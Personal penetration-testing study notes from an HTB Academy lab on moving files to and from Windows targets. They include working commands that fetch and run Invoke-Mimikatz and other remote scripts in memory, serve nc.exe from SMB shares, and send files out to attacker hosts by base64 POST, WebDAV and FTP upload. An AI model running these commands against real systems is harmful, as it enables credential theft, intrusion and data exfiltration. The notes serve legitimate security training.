Windows File Transfer Methods

These notes are from my practice from HTB Academy. Excellent tip from HTB Academy: Unless specifically requested by a client, we do not recommend exfiltrating data such as Personally Identifiable Information (PII), financial data (i.e., credit card numbers), trade secrets, etc., from a client environment. Instead, if attempting to test Data Loss Prevention (DLP) controls/egress filtering protections, create a file with dummy data that mimics the data that the client is trying to protect.

Download Operations (Get File from Host to Target Machine)

PowerShell Base64 Encode & Decode

Depending on the file size we want to transfer, we can use different methods that do not require network communication. If we have access to a terminal, we can encode a file to a base64 string, copy its contents from the terminal and perform the reverse operation, decoding the file in the original content. Let's see how we can do this with PowerShell.

// Check MD5 Hash of File
oqyu@htb[/htb]$ md5sum [file_name]

// Encode File to Base64
oqyu@htb[/htb]$ cat [file_name] |base64 -w 0;ech
// Write File to Target Machine by Decoding the Base64
PS C:\\htb> [IO.File]::WriteAllBytes("[save_to_path]", [Convert]::FromBase64String("[encoded_file]"))

// Check MD5 Hash of File to Ensure it Matches
PS C:\\htb> Get-FileHash [file_path] -Algorithm md5

💡 Note: While this method is convenient, it's not always possible to use. Windows Command Line utility (cmd.exe) has a maximum string length of 8,191 characters. Also, a web shell may error if you attempt to send extremely large strings.

PowerShell DownloadFile Method

We can specify the class name Net.WebClient and the method DownloadFile with the parameters corresponding to the URL of the target file to download and the output file name.

DownloadFile → Downloads data from a resource to a local file.

DownloadFileAsync → Downloads data from a resource to a local file without blocking the calling thread.

PS C:\\htb> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\\htb> (New-Object Net.WebClient).DownloadFile('<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\\Users\\Public\\Downloads\\PowerView.ps1>')

or

PS C:\\htb> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\\htb> (New-Object Net.WebClient).DownloadFileAsync('<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1>', 'PowerViewAsync.ps1')

PowerShell DownloadString - Fileless Method

Fileless attacks work by using some operating system functions to download the payload and execute it directly. PowerShell can also be used to perform fileless attacks. Instead of downloading a PowerShell script to disk, we can run it directly in memory using the Invoke-Expression cmdlet or the alias IEX.

PS C:\\htb> # Example: IEX (New-Object Net.WebClient).DownloadString('<Target File URL>')
PS C:\\htb> IEX (New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1>')

or

PS C:\\htb> # Example: (New-Object Net.WebClient).DownloadString('<Target File URL>') | IEX
PS C:\\htb> (New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1>') | IEX

PowerShell Invoke-WebRequest

From PowerShell 3.0 onwards, the Invoke-WebRequest cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name.

PS C:\\htb> # Example: Invoke-WebRequest <Target File URL> -OutFile <Output File Name>
PS C:\\htb> Invoke-WebRequest <https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1> -OutFile PowerView.ps1

💡 There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download. This can be bypassed using the parameter -UseBasicParsing.

PS C:\\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest <https://raw.githubusercontent.com/PowerShellMafia/P> ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

PS C:\\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX

SMB Downloads

The Server Message Block protocol (SMB protocol) that runs on port TCP/445 is common in enterprise networks where Windows services are running. It enables applications and users to transfer files to and from remote servers.

oqyu@htb[/htb]$ # Example: sudo impacket-smbserver [share_name] -smb2support [directory_path]
oqyu@htb[/htb]$ sudo impacket-smbserver share -smb2support /tmp/smbshare
C:\\htb> # Example: copy \\\\[host_ip]\\[share_name]\\[file_name]
C:\\htb> copy \\\\192.168.220.133\\share\\nc.exe

💡 New versions of Windows block unauthenticated guest access. To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our windows target machine.

oqyu@htb[/htb]$ # Example: sudo impacket-smbserver [share_name] -smb2support [directory_path] -user [username] -password [password]
oqyu@htb[/htb]$ sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
C:\\htb> # Example: net use n: \\\\[host_ip]\\[share_name] /user:[username] [password]
C:\\htb> net use n: \\\\192.168.220.133\\share\\ /user:test test
C:\\htb> copy n:\\nc.exe

FTP Downloads

Another way to transfer files is using FTP (File Transfer Protocol), which use port TCP/21 and TCP/20. We can use the FTP client or PowerShell Net.WebClient to download files from an FTP server.

We can configure an FTP Server in our attack host using Python3 pyftpdlib module. It can be installed with the following command:

// Installing the pyftpdlib module
oqyu@htb[/htb]$ sudo pip3 install pyftpdlib

// Run and specify the port number to 21 (by default, pyftpdlib uses port 2121)
oqyu@htb[/htb]$ sudo python3 -m pyftpdlib --port 21

After the FTP server is set up, we can perform file transfers using the pre-installed FTP client from Windows or PowerShell Net.WebClient.

PS C:\\htb> # Example : (New-Object Net.WebClient).DownloadFile('ftp://[host-ip]/[file-name]', '[save-to-path]')
PS C:\\htb> (New-Object Net.WebClient).DownloadFile('<ftp://192.168.49.128/file.txt>', 'C:\\Users\\Public\\ftp-file.txt')

Upload Operations (Upload File from Target Machine to Host)

PowerShell Base64 Encode & Decode

We saw how to decode a base64 string using Powershell. Now, let's do the reverse operation and encode a file so we can decode it on our attack host.

// Encode File to Base64
PS C:\\htb> [Convert]::ToBase64String((Get-Content -path "<File Path>" -Encoding byte))

// Check MD5 Hash of File
PS C:\\htb> Get-FileHash "<File Path>" -Algorithm MD5 | select Hash
//  Write File to Host Machine by Decoding the Base64
oqyu@htb[/htb]$ echo [encoded_file] | base64 -d > [file_name]

// Check MD5 Hash of File to Ensure it Matches
oqyu@htb[/htb]$ md5sum [file_name]

PowerShell Script to Upload a File to Python Upload Server

PowerShell doesn't have a built-in function for upload operations, but we can use Invoke-WebRequest or Invoke-RestMethod to build our upload function. We'll also need a web server that accepts uploads, which is not a default option in most common webserver utilities.

For our web server, we can use uploadserver, an extended module of the Python HTTP.server module, which includes a file upload page.

// Installing the uploadserver module
oqyu@htb[/htb]$ sudo pip3 install uploadserver

// Run the uploadserver
oqyu@htb[/htb]$ python3 -m uploadserver

File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (<http://0.0.0.0:8000/>) ...

Now we can use a PowerShell script PSUpload.ps1 which uses Invoke-RestMethod to perform the upload operations. The script accepts two parameters -File, which we use to specify the file path, and -Uri, the server URL where we'll upload our file. Let's attempt to upload the host file from our Windows host.

// Download and Run PSUpload.pse
PS C:\\htb> IEX(New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1>')

// Upload File to Host Machine
PS C:\\htb> Invoke-FileUpload -Uri http://[host-ip]:8000/upload -File [file-path]

💡 Because the HTB machine doesn’t have an internet connection, I need to get the PSUpload.ps1 script first from my host machine

PowerShell Base64 Web Upload

Another way to use PowerShell and base64 encoded files for upload operations is by using Invoke-WebRequest or Invoke-RestMethod together with Netcat. We use Netcat to listen in on a port we specify and send the file as a POST request. Finally, we copy the output and use the base64 decode function to convert the base64 string into a file.

// Set up a netcat listener
oqyu@htb[/htb]$ nc -lvnp 8000

// Convert the encoded base64 file back to its original
oqyu@htb[/htb]$ echo [encoded-file] | base64 -d -w 0 > [file-name]
// Convert the file to base64
PS C:\\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path '[file-path]' -Encoding Byte))

// Send a POST request to the host machine
PS C:\\htb> Invoke-WebRequest -Uri http://[host-ip]:8000/ -Method POST -Body $b64

SMB Uploads

We previously discussed that companies usually allow outbound traffic using HTTP (TCP/80) and HTTPS (TCP/443) protocols. Commonly enterprises don't allow the SMB protocol (TCP/445) out of their internal network because this can open them up to potential attacks. For more information on this, we can read the Microsoft post Preventing SMB traffic from lateral connections and entering or leaving the network.

An alternative is to run SMB over HTTP with WebDav. WebDAV (RFC 4918) is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The WebDAV protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV can also use HTTPS.

// Installing Webdav Python Modules
oqyu@htb[/htb]$ sudo pip install wsgidav cheroot

// Using the WebDav Python Module
oqyu@htb[/htb]$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
// Connecting to the Webdav Share
C:\\htb> # Example: dir \\\\[host-ip]\\[directory]
C:\\htb> dir \\\\192.168.49.128\\DavWWWRoot

// Uploading Files using SMB
C:\\htb> # Example: copy [file-path] \\\\[host-ip]\\[directory]
C:\\htb> copy C:\\Users\\john\\Desktop\\SourceCode.zip \\\\192.168.49.129\\DavWWWRoot\\

💡 Note: DavWWWRoot is a special keyword recognized by the Windows Shell. No such folder exists on your WebDAV server. The DavWWWRoot keyword tells the Mini-Redirector driver, which handles WebDAV requests that you are connecting to the root of the WebDAV server.

You can avoid using this keyword if you specify a folder that exists on your server when connecting to the server. For example: \\192.168.49.128\sharefolder

FTP Uploads

Uploading files using FTP is very similar to downloading files. We can use PowerShell or the FTP client to complete the operation. Before we start our FTP Server using the Python module pyftpdlib, we need to specify the option --write to allow clients to upload files to our attack host.

oqyu@htb[/htb]$ sudo python3 -m pyftpdlib --port 21 --write
PS C:\\htb> # Example: (New-Object Net.WebClient).UploadFile('ftp://[host-ip]/[file-name]', '[file-path]')
PS C:\\htb> (New-Object Net.WebClient).UploadFile('<ftp://192.168.49.128/ftp-hosts>', 'C:\\Windows\\System32\\drivers\\etc\\hosts')

References:
https://academy.hackthebox.com/module/24/section/160

--

--